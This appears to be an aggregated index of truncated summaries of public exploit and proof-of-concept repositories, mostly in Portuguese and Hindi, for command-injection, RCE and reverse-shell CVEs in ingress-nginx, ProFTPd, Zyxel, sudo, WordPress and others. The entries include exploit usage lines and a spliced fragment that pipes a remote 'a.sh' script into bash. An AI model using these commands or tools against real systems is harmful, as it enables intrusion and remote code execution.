cve-2025-24514

🔥 PoC de Verificação da Vulnerabilidade Remota CVE-2025-24514 Este script é um PoC baseado em Python que permite verificar remotamente a vulnerabilidade CVE-2025-24514 manipulação da configuração do NGINX por meio da injeção de auth-url no ingress-nginx e possibilidade de RCE. 🧠 Visão Geral da...

ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution Script que explora a vulnerabilidade do serviço ProFTP 1.3.5 com CVE-2015-3306 Uso .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

CVE-2022-25765-exploit

CVE-2022-25765 — Injeção de Comandos no pdfkit Descrição CVE-2022-25765 é uma vulnerabilidade de injeção de comandos Command Injection que afeta o pdfkit Ruby gem nas versões 0.8.7.2. A vulnerabilidade tem severidade CRÍTICA com CVSS 9.8, pois permite execução remota de comandos sem autenticação....

Tenda-Router-VR-and-Exploit

Tenda-Router-VR-and-Exploit Este write-up mostra exatamente como emulei o servidor web do firmware AC15 V15.03.05.19 com QEMU, tornei-o acessível a partir do navegador do host e explorei o handler vulnerável /goform/setUsbUnload CVE-2020-10987 para obter execução de comandos dentro do rootfs...

CVE-2021-22210

0x01 परिचय अस्वीकरण: यह परियोजना केवल सीखने और संचार के लिए है, कृपया इसे अवैध अनधिकृत परीक्षण के लिए उपयोग न करें! अद्यतन लॉग 10.30 burp प्रॉक्सी पूल जोड़ा गया कमांड लाइन पैरामीटर फिर से लिखे गए gitlab अनधिकृत बैच और एकल जाँच कार्यक्षमता जोड़ी गई 0x02 उपयोग निर्देश स्थापना pip3 install - r...

389-ds-base: 389-ds-base: Command injection via unescaped LDAP DN in Cockpit 389 Console LDAP editor

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name DN into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft ...

Critical: Red Hat Security Advisory: redhat-ds:11 security, bug fix, and enhancement update

An update for the redhat-ds:11 module is now available for Red Hat Directory Server 11.5 E4S for RHEL 8. Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

CVE-2023-51467

CVE-2023-51467 exp.py alterado para execução de comandos Post.txt Exploração de vulnerabilidade de serialização bypassauth.txt Teste de bypass de autenticação Causa da vulnerabilidade Devido ao uso incorreto de nulo na verificação de autenticação, essa abordagem não funcionou, resultando em bypas...

cve-2022-33891

CVE-2022-33891 Vulnerabilidade de Injeção de Comandos Shell no Apache Spark Um POC em Python para explorar a vulnerabilidade de Injeção de Comandos Shell no Apache Spark. Vi alguns outros POCs por aí, mas pareciam mega suspeitos. Este é limpo e simples. Não fui eu quem descobriu este...

CVE-2022-30525

CVE-2022-30525 Vulnerabilidade de injeção remota de comandos no firewall Zyxel CVE-2022-30525 Argumentos Opcionais: -h, --help mostra esta mensagem de ajuda e sai -u url, --url url URL do alvo, ex.: "http://127.0.0.1" -f file, --file file Alvos em arquivo, ex.: "ip.txt" Uso python3...

Sudo-Vulnerability-Exploit-CVE-2019-14287

Sudo-Vulnerability-Exploit-CVE-2019-14287 Sudo foi descoberto como não confiável, uma das utilidades mais significativas, poderosas e comumente usadas instaladas em quase qualquer sistema operacional baseado em Unix e Linux como um comando simples. Uma falha de bypass da política de segurança...

DSL-2750U-Full-chain

análise de firmware 1. DSL-2750U Bugs : má configuração do servidor tftp CVE-2021-3707 vulnerabilidade de injeção de comandos CVE-2021-3708...

CVE-2023-6553

CVE-2023-6553 Wordpress में Backup Plugin के लिए CVE-2023-6553 का Exploit Development यह एक गंभीर CVE है जिसका CVSS स्कोर 9.8 है। यह भेद्यता हमलावर को प्लगइन के असुरक्षित संस्करण को चला रहे सर्वर पर कमांड भेजने की अनुमति देती है। असुरक्षित संस्करण Backup :9000/a.sh |bash';?" 3. आपको निम्न त्रुटि...

CVE-2024-3912

Por quê? Publicando porque os Mirai são um bando de idiotas irritantes que ficam batendo no meu honeypot com isso - vocês não são o malware que estou procurando. Cai fora, por favor. Aqui está o irritante IP de distribuição de malware deles e o script de payload padrão...

redis-cve-2025-62507

Scripts de Exploit — CVE-2025-62507 Estrutura de diretórios scripts/ ├── exploitx86.py x86-64 ROP exploit ├── exploitarm64.py ARM64 AArch64 ROP exploit └── gdbwithsymbols.sh GDB 调试辅助脚本 Resumo da vulnerabilidade Item| Descrição ---|--- CVE| CVE-2025-62507 Tipo de vulnerabilidade| Estouro de buffer...

CVE-2022-0944

CVE-2022-0944 SQLPad - Injeção de template Esta é uma vulnerabilidade cega, o que significa que a saída é retornada diretamente na resposta. Exploit Use o script com o seguinte comando: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password passwo...

CVE-2024-3400

CVE-2024-3400: Vulnerabilidade de Injeção de Comandos do SO no Gateway GlobalProtect Gravidade: CRÍTICA 10/10 ⚠️...

CVE-2025-34159

CVE-2025-34159: Coolify में Docker Compose इंजेक्शन भेद्यता अवलोकन फ़ील्ड| मान ---|--- CVE आईडी| CVE-2025-34159 प्रभावित करता है| Coolify ≤ v4.0.0-beta.420.6 में ठीक किया गया| v4.0.0-beta.420.7 गंभीरता| गंभीर CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OS...

CVE-2022-36779

CVE-2022-36779 código de exploração para Injeção de Comando no SO não autenticada no Proscend em Roteador Celular Industrial. https://cdn.shopify.com/s/files/1/0036/9413/3297/files/ADVICEIndustrial4GLTECellularRouterICR111WG.pdf?v=1620814301 https://www.proscend.com/en/category/index.html...

CVE-2023-21823

CVE-2023-21823 Reverse Shell para Windows Este repositório contém código C que implementa um reverse shell para o sistema operacional Windows. Um reverse shell permite o controle remoto do sistema por meio da linha de comando, oferecendo a capacidade de executar comandos na máquina infectada...